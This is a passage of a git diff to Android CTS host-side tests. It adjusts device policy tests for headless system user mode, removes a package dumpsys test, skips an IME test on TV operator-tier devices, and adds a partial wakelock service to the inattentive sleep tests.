void sleep(int timeMs) throws InterruptedException {
- CLog.d("Sleeping %d ms");
+ CLog.d("Sleeping %d ms", timeMs);
Thread.sleep(timeMs);
}
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 075d422e8d4..c6f86b876d8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -474,10 +474,12 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@RequiresDevice
@Test
public void testAlwaysOnVpnPackageLogged() throws Exception {
+ int userId = getUserIdForAlwaysOnVpnTests();
// Will be uninstalled in tearDown().
- installAppAsUser(VPN_APP_APK, mUserId);
+ installAppAsUser(VPN_APP_APK, userId);
assertMetricsLogged(getDevice(), () -> {
- executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn",
+ userId);
}, new DevicePolicyEventWrapper.Builder(EventId.SET_ALWAYS_ON_VPN_PACKAGE_VALUE)
.setAdminPackageName(DEVICE_ADMIN_PKG)
.setStrings(VPN_APP_PKG)
@@ -555,6 +557,10 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@Test
public void testPermissionGrantPreMApp() throws Exception {
installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
+
+ if (isHeadlessSystemUserMode()) {
+ installAppAsUser(SIMPLE_PRE_M_APP_APK, mDeviceOwnerUserId);
+ }
executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
}
@@ -606,65 +612,11 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@Test
public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception {
+ // Needed to access dpm.getPolicyExemptApps()
+ allowTestApiAccess(DEVICE_ADMIN_PKG);
executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
}
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_userRestrictionAddAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
- executeAccountTest("testAddAccount_blocked");
- } finally {
- // Ensure we clear the user restriction
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
- }
- executeAccountTest("testAddAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
- executeAccountTest("testRemoveAccount_blocked");
- } finally {
- // Ensure we clear the user restriction
- changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
- }
- executeAccountTest("testRemoveAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_disabledAddAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- executeAccountTest("testAddAccount_blocked");
- } finally {
- // Ensure we remove account management policies
- changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- }
- executeAccountTest("testAddAccount_allowed");
- }
-
- // TODO(b/197491427): AccountManager support in TestApp
- @Test
- public void testAccountManagement_disabledRemoveAccount() throws Exception {
- installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
- try {
- changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- executeAccountTest("testRemoveAccount_blocked");
- } finally {
- // Ensure we remove account management policies
- changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
- }
- executeAccountTest("testRemoveAccount_allowed");
- }
-
@Test
public void testDelegatedCertInstaller() throws Exception {
installAppAsUser(CERT_INSTALLER_APK, mUserId);
@@ -1268,8 +1220,6 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
}
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
- reason = "Will be migrated to new test infra")
@Test
public void testSetKeyPairCertificateLogged() throws Exception {
assertMetricsLogged(getDevice(), () -> {
@@ -1333,6 +1283,16 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
@Test
public void testPasswordMethodsLogged() throws Exception {
+ if (isAutomotive()) {
+ assertMetricsLogged(getDevice(), () -> {
+ executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
+ }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+ .setAdminPackageName(DEVICE_ADMIN_PKG)
+ .setInt(0x50000)
+ .setBoolean(false)
+ .build());
+ return;
+ }
assertMetricsLogged(getDevice(), () -> {
executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
}, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1770,7 +1730,12 @@ public abstract class DeviceAndProfileOwnerTest extends BaseDevicePolicyTest {
protected void installAppPermissionAppAsUser()
throws FileNotFoundException, DeviceNotAvailableException {
- installAppAsUser(PERMISSIONS_APP_APK, false, mUserId);
+ installAppPermissionAppAsUser(mUserId);
+ }
+
+ protected final void installAppPermissionAppAsUser(int userId)
+ throws FileNotFoundException, DeviceNotAvailableException {
+ installAppAsUser(PERMISSIONS_APP_APK, false, userId);
}
private void executeSuspendPackageTestMethod(String testName) throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 17c2d48fff1..b9e21f45c08 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -332,6 +332,53 @@ public class DeviceOwnerTest extends BaseDeviceOwnerTest {
executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
}
+ @Test
+ public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+ assumeCanStartNewUser();
+
+ // TODO(b/217367529) - we need to grant INTERACT_ACROSS_USERS to the test app in the new
+ // user, so the test is retrying until it gets it, which is done in this thread - not the
+ // best approach, but given that the test cases are being migrated to the new infra,
+ // it's good enough enough...
+ int waitingTimeMs = 5_000;
+ final int maxAttempts = 10;
+ new Thread(() -> {
+ int attempt = 0;
+ boolean granted = false;
+ while (!granted && ++attempt <= maxAttempts) {
+ try {
+ List<Integer> newUsers = getUsersCreatedByTests();
+ if (!newUsers.isEmpty()) {
+ for (int userId : newUsers) {
+ CLog.i("Checking if user %d is current user", userId);
+ int currentUser = getCurrentUser();
+ if (currentUser != userId) continue;
+ CLog.i("Checking if user %d has the package", userId);
+ if (!isPackageInstalledForUser(DEVICE_OWNER_PKG, userId)) continue;
+ grantPermission(DEVICE_OWNER_PKG, PERMISSION_INTERACT_ACROSS_USERS,
+ userId, "to call isNewUserDisclaimerAcknowledged() and "
+ + "acknowledgeNewUserDisclaimer()");
+ granted = true;
+ }
+ }
+
+ if (!granted) {
+ CLog.i("Waiting %dms until new user is switched and package installed "
+ + "to grant INTERACT_ACROSS_USERS", waitingTimeMs);
+ }
+ sleep(waitingTimeMs);
+ } catch (Exception e) {
+ CLog.e(e);
+ return;
+ }
+ }
+ CLog.i("%s says: Good Bye, and thanks for all the fish! BTW, granted=%b in %d attempts",
+ Thread.currentThread(), granted, attempt);
+ }, "testCreateAndManageUser_newUserDisclaimer_Thread").start();
+
+ executeCreateAndManageUserTest("testCreateAndManageUser_newUserDisclaimer");
+ }
+
@FlakyTest(bugId = 126955083)
@Test
public void testUserAddedOrRemovedBroadcasts() throws Exception {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 75af1c84bf4..c3345b80fb7 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -35,6 +35,7 @@ import com.google.common.collect.ImmutableMap;
import org.junit.Ignore;
import org.junit.Test;
+import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
@@ -88,6 +89,16 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
super.tearDown();
}
+ @Override
+ protected void installAppPermissionAppAsUser()
+ throws FileNotFoundException, DeviceNotAvailableException {
+ super.installAppPermissionAppAsUser();
+
+ if (isHeadlessSystemUserMode()) {
+ installAppPermissionAppAsUser(mDeviceOwnerUserId);
+ }
+ }
+
@Test
public void testLockTask_unaffiliatedUser() throws Exception {
assumeCanCreateAdditionalUsers(1);
@@ -107,6 +118,24 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
userId);
}
+ @Override
+ @Test
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ public void testDelegation() throws Exception {
+ super.testDelegation();
+ }
+
+ @Override
+ @Test
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ public void testDelegationCertSelection() throws Exception {
+ super.testDelegationCertSelection();
+ }
+
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
@Test
public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
setUpDelegatedCertInstallerAndRunTests(() ->
@@ -115,6 +144,13 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
"testGenerateKeyPairWithDeviceIdAttestationExpectingSuccess", mUserId));
}
+ @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "218408549",
+ reason = "Will be migrated to new test infra")
+ @Override
+ public void testDelegatedCertInstaller() throws Exception {
+ super.testDelegatedCertInstaller();
+ }
+
@FlakyTest(bugId = 141161038)
@Override
@Test
@@ -140,22 +176,6 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
executeDeviceTestClass(".AdminConfiguredNetworksTest");
}
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
- reason = "Will be migrated to new test infra")
- public void testAccountManagement_userRestrictionAddAccount() throws Exception {
- super.testAccountManagement_userRestrictionAddAccount();
- }
-
- @Override
- @Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197909577",
- reason = "Will be migrated to new test infra")
- public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
- super.testAccountManagement_userRestrictionRemoveAccount();
- }
-
@Test
public void testSetTime() throws Exception {
assertMetricsLogged(getDevice(), () -> {
@@ -501,49 +521,45 @@ public final class MixedDeviceOwnerTest extends DeviceAndProfileOwnerTest {
@Override
@Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testKeyManagement() throws Exception {
- super.testKeyManagement();
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials")
+ public void testSetKeyguardDisabledFeatures() throws Exception {
+ super.testSetKeyguardDisabledFeatures();
}
@Override
@Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testGenerateKeyPairLogged() throws Exception {
- super.testGenerateKeyPairLogged();
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionAppUpdate() throws Exception {
+ super.testPermissionAppUpdate();
}
@Override
@Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testDelegatedCertInstallerDirectly() throws Exception {
- super.testDelegatedCertInstallerDirectly();
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionMixedPolicies() throws Exception {
+ super.testPermissionMixedPolicies();
}
@Override
@Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testSetKeyGrant() throws Exception {
- super.testSetKeyGrant();
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionPolicy() throws Exception {
+ super.testPermissionPolicy();
}
@Override
@Test
- @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "184197972", reason = "Not clear if test "
- + "makes sense as keys generated by DO wouldn't match keys checked by PO")
- public void testSetKeyPairCertificateLogged() throws Exception {
- super.testSetKeyPairCertificateLogged();
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testAutoGrantMultiplePermissionsInGroup() throws Exception {
+ super.testAutoGrantMultiplePermissionsInGroup();
}
@Override
@Test
- @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't have UI / credentials")
- public void testSetKeyguardDisabledFeatures() throws Exception {
- super.testSetKeyguardDisabledFeatures();
+ @IgnoreOnHeadlessSystemUserMode(reason = "Headless system user doesn't launch activities")
+ public void testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted()
+ throws Exception {
+ super.testPermissionGrantOfDisallowedPermissionWhileOtherPermIsGranted();
}
@Override
diff --git a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
index a7560049aea..e959abdc636 100644
--- a/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/IncidentdTest.java
@@ -45,8 +45,6 @@ public class IncidentdTest extends ProtoDumpTestCase {
DiskStatsProtoTest.verifyDiskStatsServiceDumpProto(dump.getDiskstats(), filterLevel, getDevice());
- PackageIncidentTest.verifyPackageServiceDumpProto(dump.getPackage(), filterLevel);
-
PowerIncidentTest.verifyPowerManagerServiceDumpProto(dump.getPower(), filterLevel);
if (PrintProtoTest.supportsPrinting(getDevice())) {
diff --git a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
deleted file mode 100644
index 66137c12f2a..00000000000
--- a/hostsidetests/incident/src/com/android/server/cts/PackageIncidentTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.server.cts;
-
-import android.service.pm.PackageProto;
-import android.service.pm.PackageProto.UserInfoProto;
-import android.service.pm.PackageServiceDumpProto;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/** Test for "dumpsys package --proto" */
-public class PackageIncidentTest extends ProtoDumpTestCase {
- // Use the test apk from the BatteryStatsIncidentTest
- private static final String DEVICE_SIDE_TEST_APK = "CtsBatteryStatsApp.apk";
- private static final String DEVICE_SIDE_TEST_PACKAGE = "com.android.server.cts.device.batterystats";
-
- @Override
- protected void tearDown() throws Exception {
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
-
- super.tearDown();
- }
-
- private static void assertPositive(String name, long value) {
- if (value > 0) return;
- fail(name + " expected to be positive, but was: " + value);
- }
-
- private static void assertNotNegative(String name, long value) {
- if (value >= 0) return;
- fail(name + " expected to be zero or positive, but was: " + value);
- }
-
- /** Parse the output of "dumpsys package --proto" and make sure the values are probable. */
- public void testPackageServiceDump() throws Exception {
- final long st = System.currentTimeMillis();
-
- installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
-
- // Find the package UID, version code, and version string.
- final Matcher matcher =
- execCommandAndFind(
- "dumpsys package " + DEVICE_SIDE_TEST_PACKAGE,
- "userId=(\\d+).*versionCode=(\\d+).*versionName=([^\\n]*)",
- Pattern.DOTALL);
- final int uid = Integer.parseInt(matcher.group(1));
- final int versionCode = Integer.parseInt(matcher.group(2));
- final String versionString = matcher.group(3).trim();
-
- final PackageServiceDumpProto dump =
- getDump(PackageServiceDumpProto.parser(), "dumpsys package --proto");
-
- PackageProto testPackage = null;
- for (PackageProto pkg : dump.getPackagesList()) {
- if (pkg.getName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
- testPackage = pkg;
- break;
- }
- }
-
- assertNotNull(testPackage);
- assertEquals(testPackage.getName(), DEVICE_SIDE_TEST_PACKAGE);
- assertEquals(testPackage.getUid(), uid);
- assertEquals(testPackage.getVersionCode(), versionCode);
- assertEquals(testPackage.getVersionString(), versionString);
- assertPositive("install_time_ms", testPackage.getInstallTimeMs());
- assertEquals(testPackage.getInstallTimeMs(), testPackage.getUpdateTimeMs());
- assertEquals(testPackage.getSplits(0).getName(), "base");
- assertEquals(testPackage.getSplits(0).getRevisionCode(), 0);
- assertNotNull(testPackage.getUserPermissionsList());
-
- UserInfoProto testUser = testPackage.getUsers(0);
- assertEquals(testUser.getId(), 0);
- assertEquals(testUser.getInstallType(),
- PackageProto.UserInfoProto.InstallType.FULL_APP_INSTALL);
- assertFalse(testUser.getIsHidden());
- assertFalse(testUser.getIsLaunched());
- assertFalse(testUser.getEnabledState() == PackageProto.UserInfoProto
- .EnabledState.COMPONENT_ENABLED_STATE_DISABLED_USER);
-
- verifyPackageServiceDumpProto(dump, PRIVACY_NONE);
- }
-
- static void verifyPackageServiceDumpProto(PackageServiceDumpProto dump, final int filterLevel) throws Exception {
- assertNotNull(dump.getVerifierPackage().getName());
- assertNotNull(dump.getSharedLibraries(0).getName());
- if (dump.getSharedLibraries(0).getIsJar()) {
- assertNotNull(dump.getSharedLibraries(0).getPath());
- } else {
- assertNotNull(dump.getSharedLibraries(0).getApk());
- }
- assertNotNull(dump.getFeatures(0).getName());
-
- PackageServiceDumpProto.SharedUserProto systemUser = null;
- for (PackageServiceDumpProto.SharedUserProto user : dump.getSharedUsersList()) {
- if (user.getUid() == 1000) {
- systemUser = user;
- break;
- }
- }
- assertNotNull(systemUser);
- assertEquals("android.uid.system", systemUser.getName());
-
- if (filterLevel == PRIVACY_AUTO) {
- for (String msg : dump.getMessagesList()) {
- assertTrue(msg.isEmpty());
- }
- }
- }
-}
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
index afaa9c8096a..6423affd9a7 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/ShellCommandUtils.java
@@ -29,6 +29,8 @@ public final class ShellCommandUtils {
// Copied from android.content.pm.PackageManager#FEATURE_INPUT_METHODS.
public static final String FEATURE_INPUT_METHODS = "android.software.input_methods";
+ public static final String FEATURE_TV_OPERATOR_TIER = "com.google.android.tv.operator_tier";
+
private static final String SETTING_DEFAULT_IME = "secure default_input_method";
/** Command to get ID of current IME. */
diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
index 7c8132a1f5e..64546243cbf 100644
--- a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
+++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
@@ -18,6 +18,7 @@
<configuration description="Config for CTS Input Method Service host test cases">
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="inputmethod" />
+ <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index 4064ff5f158..b70eaa5a074 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -24,6 +24,7 @@ import static android.inputmethodservice.cts.common.DeviceEventConstants.EXTRA_E
import static android.inputmethodservice.cts.common.DeviceEventConstants.RECEIVER_COMPONENT;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.inputmethodservice.cts.common.ComponentNameUtils;
@@ -460,6 +461,9 @@ public class InputMethodServiceLifecycleTest extends BaseHostJUnit4Test {
private void testImeSwitchingWithoutWindowFocusAfterDisplayOffOn(boolean instant)
throws Exception {
+ // Skip whole tests when DUT has com.google.android.tv.operator_tier feature.
+ // TODO(b/222687343): Remove this limitation in the future.
+ assumeFalse(hasDeviceFeature(ShellCommandUtils.FEATURE_TV_OPERATOR_TIER));
sendTestStartEvent(
DeviceTestConstants.TEST_IME_SWITCHING_WITHOUT_WINDOW_FOCUS_AFTER_DISPLAY_OFF_ON);
installPossibleInstantPackage(
diff --git a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
index e117d148d6b..1e04774c599 100644
--- a/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
+++ b/hostsidetests/os/src/android/os/cts/InattentiveSleepTests.java
@@ -40,15 +40,20 @@ import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
public class InattentiveSleepTests extends BaseHostJUnit4Test {
private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
- private static final String PACKAGE_NAME = "android.os.inattentivesleeptests";
private static final String APK_NAME = "CtsInattentiveSleepTestApp.apk";
private static final long TIME_BEFORE_WARNING_MS = 1200L;
private static final String CMD_DUMPSYS_POWER = "dumpsys power --proto";
private static final String WARNING_WINDOW_TOKEN_TITLE = "InattentiveSleepWarning";
- private static final String CMD_START_APP_TEMPLATE =
- "am start -W -a android.intent.action.MAIN -p %s -c android.intent.category.LAUNCHER";
+ private static final String ACTIVITY_KEEP_SCREEN_ON = ".KeepScreenOnActivity";
+ private static final String SERVICE_PARTIAL_WAKE_LOCK = ".PartialWakeLockService";
+ private static final String CMD_START_ACTIVITY_TEMPLATE =
+ "am start -W android.os.inattentivesleeptests/%s";
+ private static final String CMD_START_FG_SERVICE_TEMPLATE =
+ "am start-foreground-service android.os.inattentivesleeptests/%s";
+ private static final String CMD_STOP_SERVICE_TEMPLATE =
+ "am stop-service android.os.inattentivesleeptests/%s";
private static final String CMD_GET_STAY_ON = "settings get global stay_on_while_plugged_in";
private static final String CMD_PUT_STAY_ON_TEMPLATE =
@@ -81,12 +86,20 @@ public class InattentiveSleepTests extends BaseHostJUnit4Test {
mWarningDurationConfig = getWarningDurationConfig();
mOriginalStayOnSetting = Long.parseLong(
mDevice.executeShellCommand(CMD_GET_STAY_ON).trim());
+
+ installPackage(APK_NAME);
+
+ // Prevent the device from suspending while screen is off
+ startPartialWakeLockService();
+
mDevice.executeShellCommand(CMD_DISABLE_STAY_ON);
setInattentiveSleepTimeout(TIME_BEFORE_WARNING_MS + mWarningDurationConfig);
}
@After
public void tearDown() throws Exception {
+ wakeUp();
+ stopPartialWakeLockService();
mDevice.executeShellCommand(
String.format(CMD_PUT_STAY_ON_TEMPLATE, mOriginalStayOnSetting));
mDevice.executeShellCommand(CMD_DELETE_TIMEOUT_SETTING);
@@ -101,9 +114,19 @@ public class InattentiveSleepTests extends BaseHostJUnit4Test {
mDevice.executeShellCommand(CMD_KEYEVENT_WAKEUP);
}
+ private void startPartialWakeLockService() throws Exception {
+ mDevice.executeShellCommand(
+ String.format(CMD_START_FG_SERVICE_TEMPLATE, SERVICE_PARTIAL_WAKE_LOCK));
+ }
+
+ private void stopPartialWakeLockService() throws Exception {
+ mDevice.executeShellCommand(
+ String.format(CMD_STOP_SERVICE_TEMPLATE, SERVICE_PARTIAL_WAKE_LOCK));
+ }
+
private void startKeepScreenOnActivity() throws Exception {
- installPackage(APK_NAME);
- mDevice.executeShellCommand(String.format(CMD_START_APP_TEMPLATE, PACKAGE_NAME));
+ mDevice.executeShellCommand(
+ String.format(CMD_START_ACTIVITY_TEMPLATE, ACTIVITY_KEEP_SCREEN_ON));
}
private void setInattentiveSleepTimeout(long timeoutMs) throws Exception {
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
index 3588a1423de..5994c7f02dd 100755
--- a/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/AndroidManifest.xml
@@ -18,7 +18,11 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.os.inattentivesleeptests"
android:targetSandboxVersion="2">
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<application>
+ <service android:name=".PartialWakeLockService"
+ android:exported="true" />
<activity android:name=".KeepScreenOnActivity"
android:exported="true">
<intent-filter>
diff --git a/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java
new file mode 100644
index 00000000000..d64fa845fd4
--- /dev/null
+++ b/hostsidetests/os/test-apps/InattentiveSleepTestApp/src/android/os/inattentivesleeptests/PartialWakeLockService.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.inattentivesleeptests;
+
+import static android.os.PowerManager.PARTIAL_WAKE_LOCK;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.PowerManager;
+
+/** Service that holds a partial wakelock until stopped */
+public class PartialWakeLockService extends Service {
+ private static final String TAG = "PartialWakeLockService";
+ private static final String NOTIFICATION_CHANNEL_ID = "Inattentive Sleep Tests";
+
+ private PowerManager.WakeLock mWakeLock;
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public void onCreate() {
+ NotificationManager notificationManager = getSystemService(NotificationManager.class);
+ NotificationChannel channel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+ NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_LOW);
+ notificationManager.createNotificationChannel(channel);
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ if (mWakeLock == null) {
+ PowerManager powerManager = getSystemService(PowerManager.class);
+ mWakeLock = powerManager.newWakeLock(PARTIAL_WAKE_LOCK, TAG);
+ mWakeLock.setReferenceCounted(false);
+ }
+ mWakeLock.acquire();
+
+ Notification notification = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setContentTitle("Inattentive Sleep CTS Tests")
+ .setContentText("Keeping partial wakelock during the test")
+ .setSmallIcon(android.R.drawable.ic_secure)
+ .build();
+
+ startForeground(1, notification);
+
+ return Service.START_NOT_STICKY;
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWakeLock != null) {
+ mWakeLock.release();
+ }
+ }
+}
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
index 94d712f811b..80caeb5e6f3 100644
--- a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
@@ -36,6 +36,7 @@ android_test_helper_app {
"cts_defaults",
"CtsDomainVerificationTestDeclaringAppDefaults",
],
+ min_sdk_version: "31",
sdk_version: "test_current",
